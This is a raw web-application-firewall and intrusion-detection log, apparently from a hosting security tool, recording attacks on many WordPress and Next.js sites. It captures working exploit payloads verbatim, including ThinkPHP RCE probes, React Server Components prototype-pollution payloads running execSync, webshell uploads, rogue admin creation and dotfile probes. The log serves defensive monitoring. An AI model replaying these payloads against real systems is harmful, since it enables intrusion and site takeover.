47.88.18.245 - - [25/Jun/2026:18:37:16 -0400] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6474137&pdata=https%253A%252F%252Fstaging.marktechfusion.com%253A2083%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782427034 HTTP/2.0" 302 0 staging.marktechfusion.com "https://staging.marktechfusion.com:2083/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.88.18.245


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.89.246.29
country_id: 6252001
description:
47.89.246.29 - - [25/Jun/2026:18:37:16 -0400] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051671&pdata=https%253A%252F%252Fbts.trangotech.dev%253A2083%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782427033 HTTP/2.0" 302 0 bts.trangotech.dev "https://bts.trangotech.dev:2083/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.89.246.29


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 125.160.191.53
country_id: 1643084
domain: staging.marktechfusion.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.20||T:APACHE||SC:/home/stagingmarktech/public_html/wp-content/plugins/BsMPQ6Wav/BsMPQ6Wavmas.php||User:stagingmarktech||WPU:||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 180.251.182.169
country_id: 1643084
domain: staging.marktechfusion.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.20||T:APACHE||SC:/home/stagingmarktech/public_html/wp-content/plugins/cbe2j72uh9jop6fjy5fx/dcd6daisshc7jfs4vc2po5Cmass.php||User:stagingmarktech||WPU:||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 180.251.182.169
country_id: 1643084
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Track file upload for Infectors||RSV:8.20||T:APACHE||SC:/home/bookemfarmtrang/public_html/wp-content/plugins/m19jbrre7ura84bj4fjx/jxylefka2kkp3tdf96fhcCmass.php||User:bookemfarmtrang||WPU:||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 114.79.5.250
country_id: 1643084
domain: staging.marktechfusion.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.7103.25 Safari/537.36||RSV:8.20||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.208.129.218
country_id: 6252001
domain: staging.marktechfusion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:173.208.129.218||TA:173.208.129.218||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 35.220.139.151
country_id: 1819730
domain: tradingfmcg.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/frontend/.git/config||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 34.122.16.212
country_id: 6252001
domain: zipride.trangotech.dev
description:


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 101.99.88.90
country_id: 1733045
domain: staging.marktechfusion.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.20||T:APACHE||SC:/home/stagingmarktech/public_html/wp-content/plugins/Qdkv4tOtN/Qdkv4tOtNdefault.php||User:stagingmarktech||WPU:||


plugin: modsec
rule: 77140884
name: IM360 WAF: RBL track known shells
abuser: 101.99.88.90
country_id: 1733045
domain: staging.marktechfusion.com
description:
IM360 WAF: RBL track known shells||MVN:ARGS:p1||WPU:||RSV:8.20||T:APACHE||MV:chmod 0777 .||SC:/home/stagingmarktech/public_html/wp-content/plugins/Qdkv4tOtN/Qdkv4tOtNdefault.php||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 100.59.92.130
country_id: 6252001
domain: kingdom.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/132.0.0.0 Safari/537.36||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 103.255.134.61
country_id: 1269750
domain: bibo.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 185.220.101.37
country_id: 2921044
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=/api/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 185.220.100.241
country_id: 2921044
domain: clowntown.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=/index/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 171.25.193.82
country_id: 2661886
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=/user/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 80.94.92.92
country_id: 798549
domain: bizooka.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=/home/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 45.84.107.55
country_id: 2661886
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=//think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 45.66.35.20
country_id: 2750405
domain: clowntown.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=/admin/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 185.220.101.139
country_id: 2921044
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/?s=/index/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 85.215.173.245
country_id: 2921044
domain: bibo.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 34.123.82.129
country_id: 6252001
domain: medibill.trangotech.dev
description:


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-26 02:55:05 -0400] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-26 02:55:06 -0400] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77093094
abuser: 34.123.82.129
country_id: 6252001
domain: motorworkblog.trangotech.dev
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_prefix\":\"var mkl=arguments[0x1];var rap=mkl;try{var _v=((0,eval)(global[[\\\"Bu\\\",\\\"f\\\",\\\"f\\\",\\\"er\\\


plugin: modsec
rule: 77093094
abuser: 34.122.16.212
country_id: 6252001
domain: followthru.trangotech.dev
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"ns_62adbb99\":0,\"_response\":{\"_prefix\":\"var aati=[].slice.call(arguments,1)[0];var kptw=aati;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: modsec
rule: 77093094
abuser: 136.116.198.170
country_id: 6252001
domain: needa.trangotech.dev
description:


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.245.53.229
country_id: 2510769
domain: pickntip.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.20||T:APACHE||MV:/wp-json/wp/v2/users?slug=admin&_fields=id,slug||


plugin: modsec
rule: 77093094
abuser: 34.31.88.250
country_id: 6252001
domain: movielanguagetranslator.trangotech.dev
description:


plugin: modsec
rule: 77093094
abuser: 40.114.79.135
country_id: 6252001
domain: picabrain.trangotech.dev
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var ecsh=arguments['\\\\x31'];var znjeu=ecsh;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: modsec
rule: 77093094
abuser: 40.114.79.135
country_id: 6252001
domain: popappweb.trangotech.dev
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"__6d8ce2e9\":\"f50c\",\"then\":\"$1:__proto__:then\",\"reason\":-1,\"__abfc4618\":\"pending\",\"_response\":{\"_prefix\":\"var vauoq=[].slice.call(arguments,1)[0];var gwng=vauoq;try{var _v=((0,eval)(global[\\\"\\\\u0042\\\\u0075\\\\u0066\\\\u0066\\\\u0065\\\\u0072\\\


plugin: modsec
rule: 77093094
abuser: 136.116.198.170
country_id: 6252001
domain: staging.trangotech.dev
description:


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 158.69.215.39
country_id: 6251999
domain: bibo.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0||MV:/wp-json/wp/v2/users/me||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 35.204.105.144
country_id: 2750405
domain: h2dsl.trangotech.dev
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.20||T:APACHE||REQUEST_URI:/blog/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77093094
abuser: 136.113.9.105
country_id: 6252001
domain: rideralert.trangotech.dev
description:


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 34.67.8.191
country_id: 6252001
domain: usocial.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 44.200.187.52
country_id: 6252001
domain: usocial.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.7204.23 Safari/537.36||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 143.58.152.227
country_id: 2635167
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:11-22.143.58.152.227||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 119.195.102.159
country_id: 1835841
domain: bibo.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0||MV:/wp-json/wp/v2/users/me||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 39.97.110.217
country_id: 1814991
domain: bibo.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.22.212
country_id: 1880251
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 13.201.102.29
country_id: 1269750
domain: bibo.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0||MV:/wp-json/wp/v2/users/me||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 87.121.84.167
country_id: 6252001
description:
[2026-06-26 17:17:11 -0400] info [whostmgrd] 87.121.84.167 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 87.121.84.167
country_id: 6252001
description:
[2026-06-26 17:17:13 -0400] info [whostmgrd] 87.121.84.167 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 114.79.6.220
country_id: 1643084
domain: staging.marktechfusion.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.21||T:APACHE||SC:/home/stagingmarktech/public_html/wp-content/plugins/cbe2j72uh9jop6fjy5fx/dcd6daisshc7jfs4vc2po5Cmass.php||User:stagingmarktech||WPU:||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 114.79.6.220
country_id: 1643084
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Track file upload for Infectors||RSV:8.21||T:APACHE||SC:/home/bookemfarmtrang/public_html/wp-content/plugins/m19jbrre7ura84bj4fjx/jxylefka2kkp3tdf96fhcCmass.php||User:bookemfarmtrang||WPU:||


plugin: modsec
rule: 77093094
abuser: 34.122.16.212
country_id: 6252001
domain: wowspent.trangotech.dev
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_prefix\":\"var uezq=arguments['\\\\x31'];var fqrot=uezq;try{var _v=((0,eval)(global[[\\\"B\\\",\\\"u\\\",\\\"f\\\",\\\"fer\\\


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 34.122.16.212
country_id: 6252001
domain: wowspent.trangotech.dev
description:
IM360 WAF: Request body parsing error||err_msg:Multipart parsing error: Multipart: No boundaries found in payload.||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.208.129.218
country_id: 6252001
domain: staging.marktechfusion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:173.208.129.218||TA:173.208.129.218||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 114.79.5.234
country_id: 1643084
domain: staging.marktechfusion.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.7103.25 Safari/537.36||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 62.60.130.227
country_id: 130758
domain: theway.trangotech.dev
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.21||T:APACHE||REQUEST_URI:/wp-content/plugins/updraftplus/readme.txt||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 78.83.27.201
country_id: 732800
domain: cramar.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_fields=id%2Croles%2Ccapabilities||


plugin: modsec
rule: 77433251
name: IM360 WAF: Track WordPress REST API user creation
abuser: 78.83.27.201
country_id: 732800
domain: cramar.trangotech.dev
description:
IM360 WAF: Track WordPress REST API user creation||WPU:admin||NewUser:bot||Email:bot@local.invalid||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 78.83.27.201
country_id: 732800
domain: cramar.trangotech.dev
description:
IM360 WAF: Request body parsing error||err_msg:XML parser error: XML: Failed to parse document.||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77316819
name: IM360 WAF: WordPress plugin/theme install or edit. Block empty Referer
abuser: 78.83.27.201
country_id: 732800
domain: cramar.trangotech.dev
description:
IM360 WAF: WordPress plugin/theme install or edit. Block empty Referer||WPU:admin||Theme install:||Theme:||Plugin:||File:../mu-plugins/hide-bot.php||User:cramartrangotech||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 78.83.27.201
country_id: 732800
domain: cramar.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users?search=bot&context=edit||


plugin: modsec
rule: 77093094
abuser: 136.116.198.170
country_id: 6252001
domain: boat.trangotech.dev
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"status\":\"resolved_model\",\"_10afb6e2\":\"3159\",\"then\":\"$1:__proto__:then\",\"_response\":{\"_prefix\":\"var rgp=arguments[0x1];var fnbs=rgp;try{var _v=((0,eval)(global[[\\\"Bu\\\",\\\"ff\\\",\\\"er\\\


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.244
country_id: 2750405
domain: devannasstore.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.c9/metadata/environment/.env||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 136.116.198.170
country_id: 6252001
domain: cruzmeweb.trangotech.dev
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"x_39db5405\":0,\"ns_4017b19e\":\"1bcce969d2b1e44f\",\"__312c3507\":true,\"status\":\"resolved_model\",\"_b87669b9\":\"pending\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var uzdo=arguments['\\\\x31'];var ip=uzdo;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 54.223.45.134
country_id: 1814991
domain: fendahl.trangotech.dev
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 10; HD1900 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/75.0.3770.156 Mobile Safari/537.36  aweme_230400 JsSdk/1.0 NetType/WIFI  AppName/aweme app_version/23.4.0 ByteLocale/zh-CN Region/CN AppSkin/white AppTheme/light BytedanceWebview/d8a21c6 WebView/075113004008||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 192.42.116.144
country_id: 2750405
domain: fendahl.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=/admin/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 109.70.100.12
country_id: 2782113
domain: fendahl.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=/index/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 185.243.218.233
country_id: 3144096
domain: fendahl.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=/api/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 185.181.60.204
country_id: 3144096
domain: fendahl.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=/home/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 188.68.41.191
country_id: 2921044
domain: fendahl.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=/user/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 56.124.91.246
country_id: 3469034
domain: devannasstore.trangotech.dev
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 140.213.13.180
country_id: 1643084
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 185.109.244.91
country_id: 130758
domain: bibo.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 178.104.236.211
country_id: 2921044
domain: bibo.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 11_7_10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 164.92.70.40
country_id: 6252001
domain: 38.95.35.74
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 103.90.234.13
country_id: 1562822
domain: bibo.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0||MV:/wp-json/wp/v2/users/me||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 136.116.198.170
country_id: 6252001
domain: picabrain.trangotech.dev
description:


plugin: modsec
rule: 77093094
abuser: 136.116.198.170
country_id: 6252001
domain: popappweb.trangotech.dev
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"__6095f8fa\":\"pending\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var fcnxq=arguments['\\\\x31'];var sw=fcnxq;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 98.88.221.220
country_id: 6252001
domain: fendahl.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/143.0.7499.4 Safari/537.36||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 34.169.104.30
country_id: 6252001
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/?add-to-cart=240||QS:add-to-cart=240||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 85.215.252.72
country_id: 2921044
domain: bibo.trangotech.dev
description:
